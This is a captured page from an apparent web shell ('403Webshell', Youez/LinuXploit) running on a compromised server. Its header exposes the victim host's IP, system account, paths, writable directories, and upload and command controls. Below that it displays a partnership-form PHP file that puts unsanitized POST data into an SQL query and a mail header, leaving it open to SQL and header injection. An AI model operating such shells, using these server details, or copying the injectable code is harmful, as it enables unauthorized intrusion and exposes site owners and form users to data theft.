403Webshell
Server IP : 108.170.25.35  /  Your IP : 3.145.96.163
Web Server : Apache/2
System : Linux gains.winzonesoftech.com 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : softechwinzone ( 1579)
PHP Version : 8.1.28
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/softechwinzone/domains/winzonesoftech.in/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/softechwinzone/domains/winzonesoftech.in/private_html/partner.php
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
<style>
#regForm {
  background-color: #ffffff;
  margin: 10px auto 100px;
  font-family: Raleway;
  padding: 40px;
  width: 70%;
  min-width: 300px;
}
.tab p
{
	font-size: 14px!important;
	margin: 0px 0 10px;
}
.mr-10
{

	margin-top:20px!important;
}
h1 {
  text-align: center;  
}

input {
  padding: 10px;
  width: 100%;
  font-size: 17px;
  font-family: Raleway;
  border: 1px solid #aaaaaa;
}

/* Mark input boxes that gets an error on validation: */
input.invalid {
  background-color: #ffdddd;
}

/* Hide all steps by default: */
.tab {
  display: none;
}

/**button {
  background-color: #04AA6D;
  color: #ffffff;
  border: none;
  padding: 10px 20px;
  font-size: 17px;
  font-family: Raleway;
  cursor: pointer;
}

button:hover {
  opacity: 0.8;
}**/

#prevBtn {
  background-color: #bbbbbb;
}

/* Make circles that indicate the steps of the form: */
.step {
  height:40px;
  width:100px;
  margin: 0 2px;
  background-color: #00c3ff;
  border: none;  
  border-radius:10px;
  display: inline-block;
  opacity: 0.5;
}
.step span {
	color:#ffff;
	line-height:40px;
	font-weight:600;
}

.step.active {
  opacity: 1;
}

/* Mark the steps that are finished and valid: */
.step.finish {
  background-color: #04AA6D;
}
</style>

<?php
								include'admin/connect.php';

								
 if(isset($_POST['submit']))
	 {
		 
		 
	$bname=$_POST['bname'];
	$address=$_POST['address'];
	$message=$_POST['message'];
	$name=$_POST['name'];
	$email=$_POST['email'];
	$start=$_POST['start'];
	$end=$_POST['end'];
	$percentage=$_POST['percentage'];
	
	
			 $sql=mysqli_query($conn, "insert into partnership (bname,address,message,name,email,start,end,percentage) values ('$bname','$address','$message','$name','$email','$start','$end','$percentage')");
			 
			 $to="work.wgc@gmail.com";
	         $subject="WINZONE SOFTECH";
	         $header="from:$email";
	         $body="Hello Winzone Softech! title Partnership  details:-  Business name:$bname\n  First Partnership Address:$address\n Primary Business Purpose:$message\n Partner's Name:$name\n Partner's Email:$eamil\n Partnership Start Date:$start\n Partnership End Date:$end\n Ownership Percentage:$percentage\n ";
	         $send=mail($to, $subject, $body, $header);
        
				
			 if($sql)
 {
  echo "<Script>alert('Details Inserted Successfully')</script>";
 }
 else
 {
	 echo "<Script>alert('Insertion Failed')</script>";
 }
		 
	 }
							
							
							

?>

<form action="" id="regForm"method="post" name="form1" enctype="multipart/form-data" class="wpcf7-form faq-form-wrap border-radius">
    <div class="ot-heading text-center">
        <h6><span> Partnership Details </span></h6>
             <h2 class="main-heading">General Partnership Agreement </h2>
                                
    </div>
  <div style="text-align:center;margin-top:40px;">
    <span class="step"><span>Step -1</span></span>
    <span class="step"><span>Step -2</span></span>
   
  </div>
  <!-- One "tab" for each step in the form: -->
  <div class="tab row">
   <div class="col-md-12 col-xs-12 mr-10">
     <strong>Partnership Name :</strong>
       <p> Enter the business name that you want to use for the partnership.</p>
        <span class="wpcf7-form-control-wrap your-name">
            <input type="text" name="bname" class="form-control" placeholder="Enter the business name*" required="">
        </span>
		</div>
		
	 <div class="col-md-12 col-xs-12 mr-10">
    <strong>Partnership Address </strong>
    <p>Enter the street address for the partnership's primary place of business. If the partnership does not have a physical address, enter the address of one of the Partners.</p>
    <span class="wpcf7-form-control-wrap your-name">
            <input type="text" name="address" class="form-control" placeholder="Enter the address*" required="">
        </span>
		</div>
		
		
		
	    <div class="col-md-12 col-xs-12 mr-10"><strong>Primary Business Purpose :</strong>
		<p>In one sentence, explain the partnership's primary operations or business purpose.</p>
            <span class="wpcf7-form-control-wrap your-message">
                <textarea name="message" cols="30" rows="3" class=""  placeholder="Primary Business Purpose ..."  ></textarea>
            </span>
        </div>							    
  </div>
  
  <!--- step-2--->
  
  
  <div class="tab row">Partner Information
<div class="col-md-12 col-xs-12 mr-10">
    <strong>Partner's Name: </strong>
    <p>Provide this partner's name.</p>
    <span class="wpcf7-form-control-wrap your-name">
            <input type="text" name="name" class="form-control" placeholder="Your Name *" required="">
        </span>
		</div>
		<div class="col-md-12 col-xs-12 mr-10">
    <strong>Partner's Email: </strong>
    <p>Provide this partner's email.</p>
    <span class="wpcf7-form-control-wrap your-name">
            <input type="email" name="email" class="form-control" placeholder="Your Email Id *" required="">
        </span>
		</div>
		<div class="col-md-12 col-xs-12 mr-10">
    <strong>Partnership Start Date  </strong>
    <p>Select the date on which you want this agreement to go into effect</p>
    <span class="wpcf7-form-control-wrap your-name">
           <input type="date" name="start" class="form-control" placeholder="Start Date "  >
        </span>
		</div>
		<div class="col-md-12 col-xs-12 mr-10">
    <strong>Partnership End Date  </strong>
    <p>Fixed end date</p>
    <span class="wpcf7-form-control-wrap your-name">
            <input type="date" name="end" class="form-control" placeholder=" end date"  >
        </span>
		</div>
     <div class="col-md-12 col-xs-12 mr-10">
    <strong>Ownership Percentage : </strong>
    <p>Indicate this Partner's ownership interest percentage. For example, if this Partner will own half of the partnership, write "50%."</p>
    <span class="wpcf7-form-control-wrap your-name">
            <input type="text" name="percentage" class="form-control" placeholder="Percentage*" required="">
        </span>
		</div>
  </div>
  
  
  
 
  <div style="overflow:auto;">
    <div class="ot-button" style="float:right;">
	<!------------captcha------------>
								<script src="https://www.google.com/recaptcha/api.js" async defer></script>
									 <div
        class="g-recaptcha"
        data-sitekey="6LfXDwMcAAAAAGqKdFYp_p03MZW8-PZSgsKOt5Qd"
        data-callback="callback"
      ></div>
	  <!--------------------->
      <button class="octf-btn octf-btn-secondary octf-btn-icon" type="button" id="prevBtn" onclick="nextPrev(-1)">Previous</button>

      <button class="octf-btn octf-btn-secondary octf-btn-icon" name="" value="submit" type="submit" id="nextBtn" onclick="nextPrev(1)">Next</button>
	 <input type="hidden" name="submit" id="submit" value="submit" disabled>
	  
	 <script type="text/javascript">
      function callback() {
        const submitButton = document.getElementById("submit");
        submitButton.removeAttribute("disabled");
      }
    </script>
    </div>
  </div>
  <!-- Circles which indicates the steps of the form: -->
  
</form>
<script >
        document.form1.submit()

    </script>


<script>
var currentTab = 0; // Current tab is set to be the first tab (0)
showTab(currentTab); // Display the current tab

function showTab(n) {
  // This function will display the specified tab of the form...
  var x = document.getElementsByClassName("tab");
  x[n].style.display = "block";
  //... and fix the Previous/Next buttons:
  if (n == 0) {
    document.getElementById("prevBtn").style.display = "none";
  } else {
    document.getElementById("prevBtn").style.display = "inline";
  }
  if (n == (x.length - 1)) {
    document.getElementById("nextBtn").innerHTML = "Submit";
	
  } else {
    document.getElementById("nextBtn").innerHTML = "Next";
  }
  //... and run a function that will display the correct step indicator:
  fixStepIndicator(n)
}

function nextPrev(n) {
  // This function will figure out which tab to display
  var x = document.getElementsByClassName("tab");
  // Exit the function if any field in the current tab is invalid:
  if (n == 1 && !validateForm()) return false;
  // Hide the current tab:
  x[currentTab].style.display = "none";
  // Increase or decrease the current tab by 1:
  currentTab = currentTab + n;
  // if you have reached the end of the form...
  if (currentTab >= x.length) {
    // ... the form gets submitted:
    document.getElementById("regForm").submit();
    return false;
  }
  // Otherwise, display the correct tab:
  showTab(currentTab);
}

function validateForm() {
  // This function deals with validation of the form fields
  var x, y, i, valid = true;
  x = document.getElementsByClassName("tab");
  y = x[currentTab].getElementsByTagName("input");
  // A loop that checks every input field in the current tab:
  for (i = 0; i < y.length; i++) {
    // If a field is empty...
    if (y[i].value == "") {
      // add an "invalid" class to the field:
      y[i].className += " invalid";
      // and set the current valid status to false
      valid = false;
    }
  }
  // If the valid status is true, mark the step as finished and valid:
  if (valid) {
    document.getElementsByClassName("step")[currentTab].className += " finish";
  }
  return valid; // return the valid status
}

function fixStepIndicator(n) {
  // This function removes the "active" class of all steps...
  var i, x = document.getElementsByClassName("step");
  for (i = 0; i < x.length; i++) {
    x[i].className = x[i].className.replace(" active", "");
  }
  //... and adds the "active" class on the current step:
  x[n].className += " active";
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit